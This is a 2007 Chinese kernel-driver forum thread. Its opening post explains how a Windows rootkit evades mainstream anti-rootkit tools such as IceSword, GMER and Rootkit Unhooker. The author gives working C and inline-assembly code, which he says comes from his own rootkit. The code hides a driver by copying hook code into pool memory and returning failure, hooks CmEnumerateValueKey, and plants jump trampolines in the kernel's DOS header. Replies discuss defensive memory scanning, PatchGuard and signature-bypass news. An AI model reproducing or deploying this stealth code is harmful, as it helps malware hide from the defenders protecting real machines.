WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
阅读:3176回复:18

绕过现代Anti-Rookit工具的内核模块扫描

楼主#
更多 发布于:2007-10-24 02:05
绕过现代Anti-Rookit工具的内核模块扫描
(Bypass modern anti-rootkit tools's kernel mode scan)

MJ0011
th_decoder@126.com
2007-10-24


本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等


目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:

1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举
例如Icesword

2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举
例如Rootkit Unhooker,Gmer等

3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image

4.函数引用,各种routine\hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等

5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等


先说绕过1,2,3,5的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.

这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法

我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C,

那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2

在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码

函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C

当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活

相关代码:
//hook call CmEnumerateValueKey

void InstallCMRegHook()
{
    PVOID _CmEnumerateKeyValueLoc ;
    

    _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
    //找到 call CmEnumerateValueKey

    HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
    //获得NewCmEnumerateValueKey长度

    HookCode3 = ExAllocatePoolWithTag(NonPagedPool ,
    HookCodeLen + 4 ,
    MEM_TAG_HOOKCODE3);
    
    //分配内存

    *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
    
    //原函数地址放入内存

    RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);

    //copy函数代码

    DO_SPINLOCK();
    *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);

    //进行HOOK

    EXIT_SPINLOCK();
    return ;
    
}

NTSTATUS NewCmEnumearateValueKey(IN PVOID    KeyControlBlock,
    IN ULONG Index,
    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
    IN PVOID KeyValueInformation,
    IN ULONG KeyLength,
    IN PULONG ResultLength
    )
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址

    __asm
    {
        push    eax
        call    __
__:
        POP        eax
        SUB        eax,offset __
        add        eax,offset NewCmEnumearateValueKey

;获得函数开始地址

        sub        eax,4    
        mov        eax,[eax]

;获得OrgCmEnumerateValueKey

        push    ResultLength
        push    KeyLength
        push    KeyValueInformation
        push    KeyValueInformationClass
        push    Index
        push    KeyControlBlock
        call    eax    
        mov        stat, eax
;调用原始函数
        pop        eax
    }

//.....其他处理
//
//.....
}


void NopFunc8()
{
    __asm
    {
        nop
        nop
        nop
    }
    return ;
}

//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位


这样,基于ZwQuerySystemInformation,PsLoadModuleList,对象目录,Type链,ImageLoad,暴力PE搜索(因为我们压根就没有PE镜象,just one piece of code~)...

接下来看如何绕过4.中的检测方式

1.Hook常用函数:这个很简单了,恢复自己要用的函数~或者压根就不用那些函数,HOOK代码大部分都是数据过滤/处理部分,所以完全可以一个系统函数也不调...

2.各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook,因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中(类似的还有object hook,pxxxx hook等),使用此方法的例如rootkit  unhooker, gmer等

只要我们先使用这样的方法,就可以绕过检测,让Anti-rootkit工具不知道是我们的模块HOOK了这里:

先将dispatch地址跳转到code section中不用的部分,5个字节就足够了,然后在这5个字节里使用jmp指令再跳到我们的模块里,这样Anti-rootkit工具检测时,就会发现dispatch routine仍然在该模块的code section中

通过这种方法也可以绕过对dispatch hook\object hook的检测

inline hook/iat/eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到 ^-^

即使Anti-rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描,我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来:)

一个简单的双段跳绕过object hook检测的代码:
object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK:
ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode )
{
//该函数用于将hook代码转接到模块的DOS头中

    //in :NewAddress: real hookcode to jump
    //in :ModuleName: kernel module base address to inject
    //out :NewJump Address


ULONG TempCode = BaseCode ;

    TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ;
    //into DOS stub

    DO_SPINLOCK();
    WPOFF();
    
    *(BYTE*)TempCode = 0xe9 ;
    __asm
    {
        push    eax
        push    ecx
        mov        ecx, TempCode
        mov        eax, NewAddress
        sub        eax, ecx
        sub        eax, 5
        mov        dword ptr[ecx+1] , eax
        pop        ecx
        pop        eax
    }
    
    WPON();
    EXIT_SPINLOCK();

    //write jmp NewAddress into DOS stub
    return TempCode ;

    


    
}

最新喜欢:

readilenreadil... netelifeneteli...
驱动开发者 呵呵
xyzreg
驱动小牛
驱动小牛
  • 注册日期2005-06-20
  • 最后登录2009-12-06
  • 粉丝0
  • 关注0
  • 积分294分
  • 威望173点
  • 贡献值0点
  • 好评度164点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2007-10-24 04:42
顶下MJ同学,我也弄回沙发坐坐~

错字啊,饶过?绕过! 一字之差,意思甚远~        
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
板凳#
发布于:2007-10-24 08:23
建议大家使用支持X64的CPU ,并打开内存执行保护,然后搜索所有可执行内存,(好点的话先HOOK内存分配和释放函数,然后对所有已分配未释放的内存扫描)如果不在允许范围内就XXXX,估计以后CPU厂商也可以拿这个作为内存防毒宣传的噱头了,哈哈。。。。。。,考虑以后在32位OS的新CPU下加入VMM技术,全面接管硬件层......
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
boywhp
驱动中牛
驱动中牛
  • 注册日期2007-08-09
  • 最后登录2015-04-24
  • 粉丝2
  • 关注0
  • 积分1105分
  • 威望515点
  • 贡献值0点
  • 好评度254点
  • 原创分1分
  • 专家分0分
地板#
发布于:2007-10-24 08:24
谢谢诶MJ 大哥
boywhp
驱动中牛
驱动中牛
  • 注册日期2007-08-09
  • 最后登录2015-04-24
  • 粉丝2
  • 关注0
  • 积分1105分
  • 威望515点
  • 贡献值0点
  • 好评度254点
  • 原创分1分
  • 专家分0分
地下室#
发布于:2007-10-24 08:26
可恶的wowoowowowowowowwocock
哈哈,发一个邮件给我吧boywhp@126.com
我想要一个学习内核的书单,不然感觉比较茫然啊,方向是系统安全
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
5楼#
发布于:2007-10-24 08:59
我认为如果学习系统安全最好走正规道路,因为随着X64VISTA的发布,驱动签名加载和PATCHGUARD将会封杀大多技术方法,别看现在好像很多人在试图破坏MS的防御机制,可我认为将会很困难,特别是结合硬件级保护技术,MS也说了将把保护移入VMM中,我研究了一下,觉得一旦被系统掌控了VMM的RING -1层(注:是负一层拥有比RING0更高的权限),你基本没有机会能突破他,所以还是只能回到正轨道路上来 。
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
boywhp
驱动中牛
驱动中牛
  • 注册日期2007-08-09
  • 最后登录2015-04-24
  • 粉丝2
  • 关注0
  • 积分1105分
  • 威望515点
  • 贡献值0点
  • 好评度254点
  • 原创分1分
  • 专家分0分
6楼#
发布于:2007-10-24 09:29
O,那正轨道路是什么呢?
koyota
驱动牛犊
驱动牛犊
  • 注册日期2007-10-24
  • 最后登录2007-11-02
  • 粉丝0
  • 关注0
  • 积分40分
  • 威望5点
  • 贡献值0点
  • 好评度4点
  • 原创分0分
  • 专家分0分
7楼#
发布于:2007-10-24 09:52
引用第2楼wowocock于2007-10-24 08:23发表的  :
建议大家使用支持X64的CPU ,并打开内存执行保护,然后搜索所有可执行内存,(好点的话先HOOK内存分配和释放函数,然后对所有已分配未释放的内存扫描)如果不在允许范围内就XXXX,估计以后CPU厂商也可以拿这个作为内存防毒宣传的噱头了,哈哈。。。。。。,考虑以后在32位OS的新CPU下加入VMM技术,全面接管硬件层......


我看你是入错行了,你还是当医生比较好,走正规道路,可避免医疗事故。。。

不管MS怎么搞,100%肯定是有办法突破的,不管是黑客还是程序员的精神就是要把不可能变为可能,不管MS把内核搞到ring-1层,还是全面接管硬件层,MS总会留下更新内核的接口
chinaruto
驱动牛犊
驱动牛犊
  • 注册日期2007-09-19
  • 最后登录2008-01-26
  • 粉丝0
  • 关注0
  • 积分210分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
8楼#
发布于:2007-10-24 11:28
还是中国人强呀。。。。
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
9楼#
发布于:2007-10-24 11:32
引用第1楼xyzreg于2007-10-24 04:42发表的  :
顶下MJ同学,我也弄回沙发坐坐~

错字啊,饶过?绕过! 一字之差,意思甚远~        


已经改了。。。。
驱动开发者 呵呵
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
10楼#
发布于:2007-10-24 16:47
绕过之类的没啥意思,问题是你怎么知道你hook的玩意肯定被Anti Rootkit工具用了呢?
SCSI_PASS读硬盘枚举文件和访问注册表,内存进程,模块,只要你被cpu执行就有方法找到~这些玩意甚至可以无关于操作系统。(底层的硬盘读写可以完全无关操作系统吧,文件系统格式分析跟操作系统也无关了),cpu执行截获和时钟中断还有页错中断有关~~

没有可以hook的地方怎么绕过~
没有战争就没有进步 X3工作组 为您提供最好的军火
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
11楼#
发布于:2007-10-24 18:06
那就可以用兰兰那个完全脱离OS的东东了~嘿嘿
驱动开发者 呵呵
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
12楼#
发布于:2007-10-24 20:04
引用第11楼WQXNETQIQI于2007-10-24 18:06发表的  :
那就可以用兰兰那个完全脱离OS的东东了~嘿嘿


兰兰~~~MJ好阴险的人
没有战争就没有进步 X3工作组 为您提供最好的军火
bizhan123
驱动小牛
驱动小牛
  • 注册日期2006-12-26
  • 最后登录2012-03-19
  • 粉丝0
  • 关注0
  • 积分1002分
  • 威望166点
  • 贡献值0点
  • 好评度125点
  • 原创分0分
  • 专家分0分
13楼#
发布于:2007-10-25 09:51
兰兰是武腾兰吗?
实用信息:www.infozobo.com
StarsunYzL
驱动牛犊
驱动牛犊
  • 注册日期2007-01-08
  • 最后登录2008-08-10
  • 粉丝0
  • 关注0
  • 积分250分
  • 威望26点
  • 贡献值0点
  • 好评度25点
  • 原创分0分
  • 专家分0分
14楼#
发布于:2007-10-25 11:28
引用第3楼boywhp于2007-10-24 08:24发表的  :
谢谢诶MJ 大哥

是姐姐不是大哥
我也来凑会热闹~~顶MJ   ^_^
时间就像乳沟一样,挤挤总会有的
ljh1021
驱动小牛
驱动小牛
  • 注册日期2007-05-30
  • 最后登录2010-05-18
  • 粉丝0
  • 关注0
  • 积分936分
  • 威望126点
  • 贡献值0点
  • 好评度92点
  • 原创分0分
  • 专家分0分
15楼#
发布于:2007-10-25 15:52
引用第14楼StarsunYzL于2007-10-25 11:28发表的  :

是姐姐不是大哥
我也来凑会热闹~~顶MJ   ^_^

是大哥不是大姐,一字之差,意思相差甚远.......
消灭人类暴政,世界属于三体!
microtan
驱动牛犊
驱动牛犊
  • 注册日期2007-10-25
  • 最后登录2007-10-27
  • 粉丝0
  • 关注0
  • 积分10分
  • 威望2点
  • 贡献值0点
  • 好评度1点
  • 原创分0分
  • 专家分0分
16楼#
发布于:2007-10-25 23:55
引用第5楼wowocock于2007-10-24 08:59发表的  :
我认为如果学习系统安全最好走正规道路,因为随着X64VISTA的发布,驱动签名加载和PATCHGUARD将会封杀大多技术方法,别看现在好像很多人在试图破坏MS的防御机制,可我认为将会很困难,特别是结合硬件级保护技术,MS也说了将把保护移入VMM中,我研究了一下,觉得一旦被系统掌控了VMM的RING -1层(注:是负一层拥有比RING0更高的权限),你基本没有机会能突破他,所以还是只能回到正轨道路上来 。


虽然是旧闻,Atsiv 还是搞了M$一把
http://www.lupaworld.com/viewnews_23031.html
http://www.fengnews.com/article/2007/0806/news_7403.html

Atsiv:
它可以使用经过数字签名的系统组件来加载其他未经数字签名的驱动程序到Vista内核中
可以绕过64位Vista系统中的内核保护功能,安装含有恶意代码的系统驱动程序

再者,随着MD5, SHA-1的collision 破解,伪造签名也有可能(内容比较深)
http://www.win.tue.nl/hashclash/TargetCollidingCertificates/
中国的王晓云对此有突出贡献
http://www.infosec.sdu.edu.cn/people/wangxiaoyun.htm

此外,任何所谓合法的驱动都有可能存在可被利用的漏洞

总之,道高一尺,魔高一丈...
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
17楼#
发布于:2007-10-26 07:06
微软的那个是基于RSA的~目前貌似没什么进展~
驱动开发者 呵呵
majiajue
驱动牛犊
驱动牛犊
  • 注册日期2007-10-25
  • 最后登录2008-06-28
  • 粉丝0
  • 关注0
  • 积分200分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
18楼#
发布于:2007-10-26 15:46
RSA签名多慢,难道每次加载都签,DSA or HFE
游客

返回顶部